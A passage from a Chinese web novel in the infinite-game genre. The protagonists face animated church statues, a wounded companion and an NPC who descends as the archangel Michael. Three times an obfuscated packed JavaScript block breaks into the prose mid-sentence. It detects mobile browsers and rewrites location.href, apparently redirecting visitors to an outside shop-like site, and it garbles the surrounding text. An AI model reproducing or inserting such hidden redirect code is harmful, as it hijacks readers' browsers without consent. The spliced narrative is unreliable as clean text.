“但在三辈子走不出大山的人的眼里，只要「高考」成功，就一定能出人头地。” “因此，”方酌言闭了闭眼，才缓缓开口：“【李华】的「一生」，倒塌于「高考」的伊始。” 内心创伤越扩越大，愈来愈深，严重到不可治愈。 浓重的负面情感接踵而至，【李华】不得解法，悲痛之中向神献上全部，至此获得改变「一生」的能力——表里世界的转换。 【叮咚！】 【恭喜玩家「无编号」解锁主线NPC技能信息。】 【技能：里世界构造法。】 【技能介绍：使用后，梦中情景将不再「虚无」，它将化为保护壳（里世界）。躲匿其中，温暖「一生」。】 【技能来历。】 【——表里世界是什么呢？「李华」回答：“我有很多很多的未来期盼。想成为有钱人，想受到万众瞩目，想不再穷困一生，想脱离这座吃人的封闭大山！神啊......我祈求您，让我于梦中实现那7个愿望。”】 【——“我愿成为您的「孩子」，在无穷无尽、望不到头的黑暗下，看守「死亡」。”】 【愿望一：找到学习的好方法，为「高考」积累足够的知识。】 “楼宿雪。”方酌言拧着眉，看着对面表演能力等级负一百级的演员——楼宿雪浮夸地惊呼一声：“哇哦！好厉害哎！亲爱的你是怎么想到这么多的！猜得好准！嗯嗯......不愧是我一眼就看上的人......” 方酌言人生当中情绪起伏最大的几次，大多来源于眼前之人。他忍了忍火，还算平静地瞪着楼宿雪，问道：“为什么故意引导我找出这个答案？” 楼宿雪不短不长地“啊”了一声，非常白痴的那种。 他笑嘻嘻地：“我不懂你的意思呢，言言。” 方酌言无言以对了。 他有一种感觉，对方心思是什么，有什么......只要楼宿雪不想说的事，就算是拿钳子撬开他的嘴也只会被他吐一口血沫，惹得一身气。 ......算了。他爱说不说。 方酌言正沉思着，猛地眼前一黑——楼宿雪将他拉近，一掌扣住他的头，一掌盖上他的背，使得方酌言的半个身子陷到冲锋衣里。 雨后草木的浅淡气息瞬间涌入鼻腔。 方酌言一惊，打算往后退却反被对方又拉近了几分。 楼宿雪带有磁性的声音袭进方酌言的耳朵里： “言言。” “你相信耶稣会下凡吗？” 15. 李华的世界 ——我相信你大爷的。 方酌言很想这样说，但在经历过十八年现代人类礼貌法的洗涤后，最终还是咽下去了。 他眼皮微微往上一抬，带着些许气愤。 “我劝你赶紧放开我。”像一只银白色的拿破仑猫一样，两只爪子使劲一推楼宿雪。说着威胁的话，却丝毫没有威慑力。 楼宿雪看着他，呼吸轻微一顿。 在方酌言逐渐恼火的目光中，缓缓抽走了双手，将人松开，“抱歉我......” “闭嘴，”方酌言冷冷道，“我不想听你说废话。”狗嘴里吐不出象牙，有用的信息倒是一个籽都没吐出来。 楼宿雪难过地垂下不存在的耳朵，压着嗓子如同小狗般“呜”了一声。 方酌言置若罔闻，转身看身后之物。 ......楼宿雪的那句“耶稣下凡”不是没由来的。方酌言是见过耶稣像眼球动过的，可他哪里见过耶稣像会跑的。 ——神圣慈爱的石像跟玩一二三木头人一样，静悄悄地移动到祭坛旁边，就在方酌言回头瞪着它时，瞬间停住。 坛中的清水有着它上半个石身的倒影，细微的风吹过坛中之水，倒影极具抽象地一圈圈波动起来。 耶稣嘴角大开，眼球直勾勾盯着方酌言，像是真人一样要把对方吞吃入腹。 慈爱与贪欲交融，煞是诡异。 中殿内，其余神像也好不到哪里去。 群雕神像露出了邪恶的一面......肉眼可见的，身后的翅膀由石雕原本的白色逐一染上青黑。 尽管动作依旧，表情不变，可它们现下给予人的感受可谓是完全相反。 “......” 方酌言收回他刚刚想骂人的话。 他突然觉得，耶稣爱子爱民，下个凡其实也很正常......正常个鬼。 “还不快离开这......”他话未说完，一扭头看向楼宿雪的眼瞬间睁大——对方胸口被神像圣米迦勒的十字长矛狠狠洞穿。 一声不吭地忍下痛楚，双目通红，望着方酌言——变故来得实在太快。 方酌言扶住楼宿雪，眼睛一沉。 楼宿雪好似一点都感受不到疼痛，他握上长矛，咬紧后槽牙，手上一用力堪比轧碎机直接将其捏成两半，石块粉碎一地，只剩下贯穿胸口的一小截。 但还是晚了——楼宿雪的血液不符合牛顿物理学的被圣米迦勒顺着长矛吸进了身体。 楼宿雪捂着胸前创口，唯一能证明他此刻疼的，是他那逐渐失色的唇。 “该死的......” 楼宿雪嘴里具体嘟囔着什么，方酌言是听不真切的，他也不想知道。 二话不说抬起楼宿雪的一只胳膊，搭在自己的肩膀上，在一众动作停滞的神像面前，脚底生烟般出了中殿。 少顷，方酌言找到一处看起来比较安全的半露天小亭子。 他一路上都皱着眉，沉着一张脸，轻手扶着楼宿雪坐下。 “疼吗？” 方酌言问 楼宿雪没说话，只是笑笑，对着面板上的「玩家背包」点了点，然后手里就出现了一卷绷带跟小瓶酒精，犹犹豫豫了片刻决定还是递给方酌言。 方酌言看着他那张云淡风轻的脸，忽然感到了前所未有的恼火。许久，视线才从楼宿雪的脸上移开，转而盯紧对方胸口的创伤。 平复了一下异样的心情，接过酒精跟绷带。 楼宿雪神人一样不怕血流尽死掉，单手抓着胸前的一小截长矛石棍，脸侧出现虚汗，咬咬牙，硬生生给拔了出来。 鲜红尚且滚烫的血液汩汩喷出，有一些甚至喷到了方酌言的大衣上。 没待方酌言有所表情的，楼宿雪先“啧”了一下，然后自顾自脱起冲锋衣，又从「玩家背包」取出剪刀，开始剪创口处的里衣，“咔呲咔呲”......哪里像是个受了重伤的人。 “待会直接往里倒酒精。”他边剪边说，语气冷静得要命。 “？” 方酌言以为自己的耳朵出问题了。 楼宿雪半晌没得到回复，明显心情不怎么好，他重复道：“我说，待会直接往这倒酒精，”用剪刀尖指了指伤口，一歪头，似笑非笑地看着方酌言。 “还要我再重复一遍吗，亲爱的？” “......” 十分神经质的伤口处理法。 方酌言眼神凉凉地瞪着他： “疯子。” 也许疯子都没他这么疯......他难道每次受伤都这么处理？ 火气莫名其妙地更上一层楼了。 楼宿雪听到这句话后，头顶的阴霾刹那间消散了一大半，仿佛被“疯子”这两个字给逗笑了。 他还很骄傲地说：“谢谢夸奖。” 下一秒，方酌言打开酒精瓶子，依从楼宿雪疯狂的意愿，朝着创口将酒精一点点倒下。 楼宿雪难受地低声“嘶......”了一下，气息虚虚地开口问：“知道为什么我会受伤吗？” “你故意的？”方酌言心中有了点猜想。他放下酒精瓶，拿起绷带，小心翼翼处理起楼宿雪的伤口。 绷带一圈一圈缠上对方的胸......楼宿雪有些伤心地说：“我有那么喜欢自找苦吃吗？” 方酌言抬眼，用冰死一切物体的眼神看楼宿雪，楼宿雪笑脸回之，换来的却是方酌言无情的一句：“M倾向罢了，没什么不好意思承认的。” “......”周遭空气一瞬间被寒冰冻住。 良久，楼宿雪气笑地“哈？”了声，“你在说什么胡话，我怎么可能是M。” 他抬手捏住方酌言的下巴，力道很轻很轻，对方完全可以挣脱的那种。 四目相对。方酌言一言不发，但手上力度加大，面无表情地给楼宿雪打了个痛入骨髓的绷带结。 楼宿雪又“嘶”了声，这次比方才那次声音要大。 “......你是在谋杀亲夫嘛，言言。”他脸色发青地盯着方酌言。 “是吗？”方酌言语气淡淡，眼神寒了寒，“那我不介意现在就丧偶。” 楼宿雪后背发冷汗，赶紧收回放在对方下巴上的手，拨浪鼓似的摇着头。 “所以，你的伤......”话题回归，方酌言起身。 楼宿雪直接道：“被定住了。” “定住？” “某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159642|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小人下的术。一时不慎中了招，嗯......怎么跟你说呢。”楼宿雪穿上冲锋衣，拉上拉链盖住伤口。甫一冲锋衣自我“生长”，前后两个大洞很快消失不见，宛如一件新买的衣物。 方酌言见怪不怪......毕竟是在这个变态且非常理的游戏里。 楼宿雪站起身，想了想才说：“简单点讲，就是游戏里有几个人很特殊，他们拥有着十一位至高神所赐予的「特权」，等级是牛掰叉叉的SS级，生命无上限，能力无上限，特权更是无上限......总之都是「怪物」一样的存在。” “这些人，就是「神圣使者」，也被称为「神使者」。” 神使者...... Divine messenger。 方酌言继续听楼宿雪科普： “正因为「神使者」有特权，不会轻易受游戏制约......比如，他们可以十年不进副本，而普通玩家至少三个月要进一次——再比如，「神使者」可以改变副本里的某些微小程序。” “就像刚才所发生的事情。”他懒散一笑，手插进衣兜，说出了自己的心里话：“我不是没有想过，这个新生的副本会引来一些高人前来「夺食」。” “倒是忘记了，高人里还有「他们」。” 方酌言蹙着眉。 楼宿雪口中的「他们」，无疑是那些被称为「神使者」的人。 他听楼宿雪笑呵呵了两声：“这下可有意思了呢。” 这可怎么办呢。 生锈的齿轮焕然一新，重回机械轨道。 ——「命运」已然转动。 另一边，教堂花园。 罗扬一屁股坐在路缘石上，累得满头大汗。调整好呼吸后，自「玩具背包」掏出了一瓶水，咕嘟咕嘟两秒喝完。 他抬了抬眼，望着还在过膝花丛中寻找某个东西的范云澜跟【乌鸦】。 “喂......你确定这真的是线索？不会被NPC给坑了吧。”【乌鸦】直起腰，回头问罗扬。 范云澜也直起腰回头看他，擦了擦额头上的热汗，但没出声。 罗扬咧嘴冲【乌鸦】笑笑：“那你说说看，为什么好学生【李华】的一众习题书里，会独独出现一本名为《Earthly Utopias: Sacred Gardens of the World》的课外读物？” 【乌鸦】双手抱臂，冷哼道：“我怎么会知道，我又不是她。” “依照副本NPC人设，【李华】不会无缘无故浪费「高考复习」时间的。”范云澜说，“除非这本书对他来说有着某种特殊的意义。” 书的译名是《尘世乌托邦：世界圣园》。 讲述了世界上宏伟的神圣花园，其中包括教堂花园，恰好对准了里世界一出现的情景。 当初玩「击鼓传花」时，罗扬率先走出教室去宿舍，于是在402室【李华】的桌子上找到了这个线索。 反常的课外书不可能没有用处。 要么是找的地方不对，要么......就是线索已经被找到了。 范云澜问罗扬跟【乌鸦】：“对于【李华】而言，她的乌托邦会是什么样子？” 16. 李华的世界 【是「爱」。】 直播间华丽的星光银河弹幕缓缓飘来。 后面一群观众在追问： 【大佬大佬！此话何意啊？】 【难道「李华」是缺爱？】 【废话。「李华」人设背景上写着呢——吃百家饭长大，全村希望......内核肯定不怎么好。】 【那她的乌托邦就只是找一个......「爱」？实在有些不符合「虚无」系列副本的设定了。】 「乌拉诺斯」百无聊赖，手指动了动，接着发来一条弹幕： 【现在世道发展不怎么好，允许现实搞科研，就不允许祂们创新新「路」？】 虽然发来的是无生气的弹幕，但「乌拉诺斯」的讪笑声已经萦绕在观众的耳朵里了。 【说不准，「虚无」想要变得有人情味一些呢。】 副本里。 方酌言与楼宿雪逛着逛着，逛到了钟楼跟前。 高大的建筑物独立于大教堂，建在教堂的左侧，顶上放置神圣大钟，用于报时或召集信徒。 然而此时，神圣大钟上指针转动，显示：【12：00：00】 “铛——” “铛——” “铛——” 钟楼上的黄铜钟锤缓缓扬起，又沉沉落下，再次“铛——” 的一声。厚重洪亮，尾音悠长，带着金属的共鸣感。 四声巨响破开午时的寂静，余音在整个里世界一中绕了三圈才慢慢消散。 “奉圣父、圣子、圣灵之名。阿们——” 三小群信徒突然出现，分别从主教堂、拱门、花园的位置往钟楼汇集。 穿着无一不是庄重得体、整洁朴素。女士们统一的纯白长裙，戴纯黑巾；男士们分两派，大部分是黑白相间的牧师袍，还有极小一部分全身都被白金衣袍围住，密不透风，且那几人手持黄金法杖，样貌极为俊美，一看就是身份不俗之辈。 这些信徒，露出的两只手腕上都纹着黑色荆棘的图案，三圈成链，就好像是戴着实物手链。 脚步不急不慢，脖子上挂着的十字架饰品随动作细微晃动，反射出的银光刺入方酌言的眼中。 早在信徒们出现之际，楼宿雪反应迅速地掏出了道具【隐形的翅膀】。 这还是楼宿雪的好兄弟，范云澜给的呢。 楼宿雪脑子不蠢，他现在也不想犯蠢，于是很是灵机一动地从【背包】里取出一个半个人身子那么大的玩具熊娃娃，三下五除二地给玩具熊套上了骚紫色小翅膀套装。 一手玩家熊举高高，一手拉着方酌言，躲到了离钟楼不怎么远的小树林里，恰到好处地能看到钟楼前所发生的情景。 信徒们走到一定距离，双膝跪地，双手祈祷，垂头闭目，语气虔诚的不能再虔诚了： “神啊，我在正午停下脚步，来到你面前，求你侧耳倾听我的祷告。” ............ “愿荣耀归于父、及子、及圣神；起初如何，今日亦然，直到永远。阿们。” ............ “慈悲的天父，我们在正午一同来到你面前。求你赦免我们的罪，赐教会合一、弟兄姊妹相爱；保守劳苦者得安息、患病者得医治、迷茫者得指引。愿我们以你的爱待人，作光作盐，荣耀你的圣名。” ............ 倏忽间，一声细微“咔嚓”音自方酌言右手处传来。 很小很小的一道声音，只有他跟楼宿雪能听到——细脆的枯枝被踩中，仅留下一声短促的裂响。 方酌言侧头一看。 罗扬正小心抬起脚，露出两小半截树枝，一脸不好意思望着方酌言与楼宿雪，还有些心虚地挠了挠后脑勺。 慢他半步来的，是【乌鸦】跟范云澜。两人的脸色像是吃了屎般，神情便秘地瞪着罗扬——手心痒痒超想揍人！ 视线很快一转，在见到方酌言时，呼吸不自觉地变得舒畅起来。 可视线再一移，望向方酌言旁边正单手抱骚紫色套装娃娃时，加上罗扬，三人的脸色又很快跌入谷底，直接裂开。 范云澜：“......” 到头来，自己绞尽脑汁，还不如人家灵机一动。 ——【隐形的翅膀】的使用方法，确实没特意指定一定是人才能佩戴道具！ 小树林恢复寂静，只有几片树叶在“哗哗”响。 双方不用多讲，十万分的肯定是被这场【午祷】给吸引过来的。 五人心知肚明，沉静地相视一眼后，转而重新将注意放在这场【午祷】上。 钟楼前，信徒们的声音越来越有力，可谓是敬天地泣鬼神。 “全能的造物主，感谢你赐我今日的力量与供应。求你赦免我上午的过失，保守我下午的脚步，让我行事为人合你心意；卸下我的疲惫与忧虑，赐我心灵的平静与力量，靠你常喜乐。” ............ “主啊！求你消灭邪恶，铲除纷争，赐我形体安康，心灵享真和平。” “至仁至慈的圣父，偕同圣子与圣神，统治万邦，万世无穷。阿们！” ............ “愿主耶稣基督的恩惠、上帝的慈爱、圣灵的感动，常与我们同在。” 最后一声“阿门——”过后，所有信徒抬首睁眼，满目尊敬地盯向钟楼尖塔。 方酌言五人一人躲在一棵粗树后面，小心伸出脑袋，视线顺着信徒们的目光，往上追去。 紧接着，瞬间怔神。 方酌言抿着唇，只见自遥远天际出乎所有人意料地降下来一个人。 不......确切地说，那应该是天使。 ——六翼的天使。 金发耀眼，神袍加身，一串串挂着宝珠的黄金链条缠绕在他身上，四肢的腕上都戴着金银镯子......尽管距离太远看不清对方的样貌，但“神圣不可侵犯”的这一意识早已进入脑海。 天使身后自带太阳光环，冲淡周围白云。白玉般的脚一步一步朝下走来，最终停在钟楼的尖塔上。 它一只脚清淡淡地抵着尖塔，一只脚以一种微小的幅度往后曲着，宛如立在神坛之上。 身后的六翼翅膀向前闭合后又张开，抖落下一大片的金色羽毛。 随着羽毛缓缓下落，它的容貌也渐渐露了出来。 精致凛冽的脸孔。深邃的目光，高挺的鼻梁，又淡又薄的双唇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159643|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那双眼瞳是碧蓝色的，仿佛蕴藏着无尽的智慧和奥秘，又像是宇宙的镜子，映照着世间的万象。 但......这熟悉的感觉...... 方酌言又觉得不太可能，因为五官相差太大了，不太像他心中所想的那个人。 可系统发来的播报却肯定了他的想法。 【NPC身份更新。】 【NPC：李华「神迹降临」】 【其他：受里世界一影响得而进化，目前身份为「圣米迦勒」（无表世界记忆）。】 无表世界记忆？ ——开什么玩笑......那要如何让【李华】写下《如何学习》的信件。 况且......距离「晚祷」只有不到六个小时的时间了！ 方酌言眼神越来越冷，盯着玩家面板看了一会儿后，才将视线重新放到尖塔上方的【李华】......圣米迦勒身上。 毫不关联的外貌、气质，无一不印证着【李华】是失忆的状态。 方酌言也是在此时得出来一个不切实际的猜想——里世界一是【李华】的梦境之一。 他不是很能确定，支线任务三里的「击鼓传花」是否有着主线任务的引导意义。 pipe dream。 ——白日梦。 ......虽然现在是晚上做的梦。 “汝等，皆为吾等爱子。” 圣米迦勒抬起双手，面部笑也不笑，有情也似无情地垂下目光。用着【李华】独有的中性音，缓慢讲出： “吾等接收到汝等意志，神特此降下法旨，派吾今午授课于汝等爱子。” 风轻轻划过，轻轻吹动起所有人的衣袍。 地上跪着的信徒一动不动，好似是被定住了一般，但其中之一的领头者做出了叩敬的动作，表明他们没有定住。 圣米迦勒眼睛一眯，颔首。 领头者收到命令才敢动作。他手里的黄金法杖一竖，紧接着站了起来，又是一个叩敬的姿势，极为敬重地说着： “感谢神之旨意，得以赐福于汝等卑贱之人。还请您随我来，待安排好一切事宜后......” 圣米迦勒直截了断地抬手，“不必。” 它收起六翼翅膀，同正常人类一样。呼吸间落到地面，依旧是赤着脚走，白金的神袍拖在地上，也不怕被弄脏。 对着领头者，语气十分冷淡：“我先去圣坛。” 领头者不敢问圣米迦勒，为什么会想去那里。 他遵从地点点头，等待着圣米迦勒下一个命令。 良久，在只有风声的空间里，高位者终于施舍似的，赐下三个字符： “退下吧。” “......” 信徒们听从一切神灵命令，怎么来的就怎么回去。 片刻间人群散去。 圣米迦勒双手放在胸腔下方，抱着半截手肘。 它回身望向钟楼大钟，看时间的缓缓流逝。甫一像是感到无聊了，抬脚打算离去。 可以下情况却并不允许它的离去： “还愣着干什么！” “【李华】就在这儿，再等下去【晚祷】的黄花菜都凉了！” 17. 李华的世界 “等等！王放你——！” 自大教堂背面墙角猛地跑出一个人......以及露出半个尚在偷觑的人头。 是另外组成一队的三个玩家......之二。 前者那位名为“王放”的玩家正莽着一股气，身体瞬移，一闪一闪地消失在方酌言的视线里，又转时出现。 仅仅一个呼吸间，就已经来到了「圣米迦勒」的面前。 王放手里幻化出一把铁青扇子，扇面在阳光的照射下散发出冷冽的寒光，刺得人眼疼。 他另一只手的拇指在扇面上轻轻一滑，整个扇子忽地伸长，转而扇顶变成十一道尖刺。 手一转，蓦然朝「圣米迦勒」划去—— “呦吼，我就说这人刚进游戏时怎么看着这么熟悉。”身旁响起一道很小很轻的声音，“我起记这人是谁了。” 方酌言头一转，看向罗扬，又发现范云澜与【乌鸦】也走过来了。 他问道：“你认识？” 罗扬笑眯眯点点头，刚要开口就被范云澜打断了：“老滑头。”对着罗扬狠狠翻了个白眼，而后看向方酌言，指着罗扬，“知道为啥要叫他【烈阳】吗？” 方酌言当然不知道。 罗扬在旁边重音“哼哼”“咳咳”，试图制造噪声，不让范云澜说出口。 范云澜视若无睹，继续说自己的：“因为某人曾傲指苍穹，说‘凡是【烈阳】所照之处，事物便无所遁形’。嗯......在游戏里，可以理解为他是「百晓生」「百事通」之类的。” 范云澜想了想，又补充道：“至少先前是。” 先前......？ 方酌言眼球一动，看向罗扬——对方原本还挺骄傲的，在听到“先前”这两个字眼时，就差一口水喷出来。 最好！喷在范云澜自以为最宝贵的狗脸上！ 不过当着这么多人的面，罗扬决定还是留一些脸面给范云澜。 事实上，他在现实世界里，与范云澜还有【乌鸦】的交集并不多。他们是在游戏里「工会」相识的，又因「工会」上层下发的任务，几次三番地组合在一起。 这久而久之嘛......自然就熟络了起来。 “那为什么不直接叫「百晓生」「百事通」啊？” 楼宿雪饶有兴趣地问。 “......” 是个好问题。 罗扬无奈摊开手，颇为遗憾地叹了口气，说：“本来是想叫这个的。只恨自己游戏进得晚，这俩称号早就被人给用了。” 范云澜：“......” 方酌言：“......” 楼宿雪：“......呵呵。” 身后的【乌鸦】则给了罗扬一棒槌，狠狠敲了一下他的后脑勺。 罗扬捂着头，疼得呲牙咧嘴——他皮糙肉厚。他装的。 表情十二分的委屈：“拜托！要知道自十八年前某位失踪之后，游戏里查探事物的职业者空前爆发！都泛滥成灾了！” “而且......”他头垂了垂，抿了抿唇，“现在「百晓生」跟「百事通」可是S级大佬，那两位互相伤害，我一小喽啰怎么敢在他们面前改名抢号......” 【乌鸦】“啧”了一声，嫌弃地做出了评价： “死出息。” 罗扬扯扯嘴，正要用他的巧言去回击【乌鸦】。 旋即头一撇，瞄到了正冷漠盯着他的方酌言，想骂人的话瞬间吞了回去，转而想起正事： “话说回来，你们就不想知道他是谁吗。”他望着王放，此时那位玩家正与「圣米迦勒」有来有回地打斗。看样子实力强劲，也不像是会头脑一热去找死的人。 他有资格冲锋在前。 罗扬说：“据我所知，此人原本是S级的大佬玩家，后面不知怎么的，被「命运」降级成了F级玩家。” 几人一愣，就连在游戏里算得上是「老玩家」的范云澜都疑惑了，“居然还能降级？这......我一直以为那是不存在的。有人曾在论坛上说过，降级......”他语气低沉：“其实就是「死亡」。” 罗扬：“对，但也不对。总之王放挺厉害的，是个人物。” 他眼睛沉了沉，又抬起来去看当下在他口中议论之人，神情有些说不清楚的怜悯——那丝怜悯，被方酌言收进眼中。 “当年【死神】还在时，【刮骨扇】......也就是咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159644|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的王放，曾是【死神】小队的一员。传言【死神】失踪后，【刮骨扇】孤身前往投影下的神殿，觐见十一位至高神之二的「虚无」与「未来」。” 【乌鸦】与范云澜先后一惊，甚是诧异地望着尚在战斗的王放......眼中这个人，在他们的所知范围内，竟然是除了「神使者」外，首个见过「神」的人。 而在他们震惊之际，半边身体背靠粗树的楼宿雪眼睛半眯，神情阴沉，双手曲起抱着臂——两只青筋现起的手，正紧紧攥紧衣袖。 “这中间，无人知道究竟发生了什么。直到【刮骨扇】遍体鳞伤地被扔下了神殿，等级降到F，后来也就不知是死是活——同【死神】一样，也失踪了。” 罗扬转头，看向方酌言，然后又看向范云澜与【乌鸦】，道：“现在看来，【刮骨扇】等级正在‘回归’。”他解释说，“从F级升到了A级，甚至还在提升。想来也是看上了「李华的世界」的某一样东西，去升等级。” 罗扬哑口半晌，恍然大悟似的，说出了一个猜测：“他这是想——向「神」复仇啊......” 轰隆——砰！ 突然，再一声“砰！”的撞击音。 只见广阔的天地之中，有一人被金色气流猛地哄飞了出去，沿着裂开的地面一路滑倒在大教堂墙前的花丛中。 巨大的冲击波扬起猛烈的风，尘土被激起，树叶被振落，“哗哗”的声音盖住了那人咳血的声音。 「圣米迦勒」沉稳地，又极为施舍般地迈出了一步。 王放狠狠瞪着他，狠戾的眼神像是要滴出血来，也像是一头血狼，仿佛要与「圣米迦勒」誓不罢休。 下一秒，冷风如刀割扇在他的脸上——「圣米迦勒」在瞬息之间站到他面前。 王放战斗时撞到了头部，刺眼的鲜血缓缓从发间垂下，流到眼皮上，还在往下流......他难受地垂下眼睛，但意识告诉他，要抬眼。 他确实也做到了。 「圣米迦勒」自上而下望着他，碧蓝色的眼眸其实一点情绪都没有，他的表情也是。 只是居高临下地站在王放跟前，语气又冷又疑惑： “你......是谁？”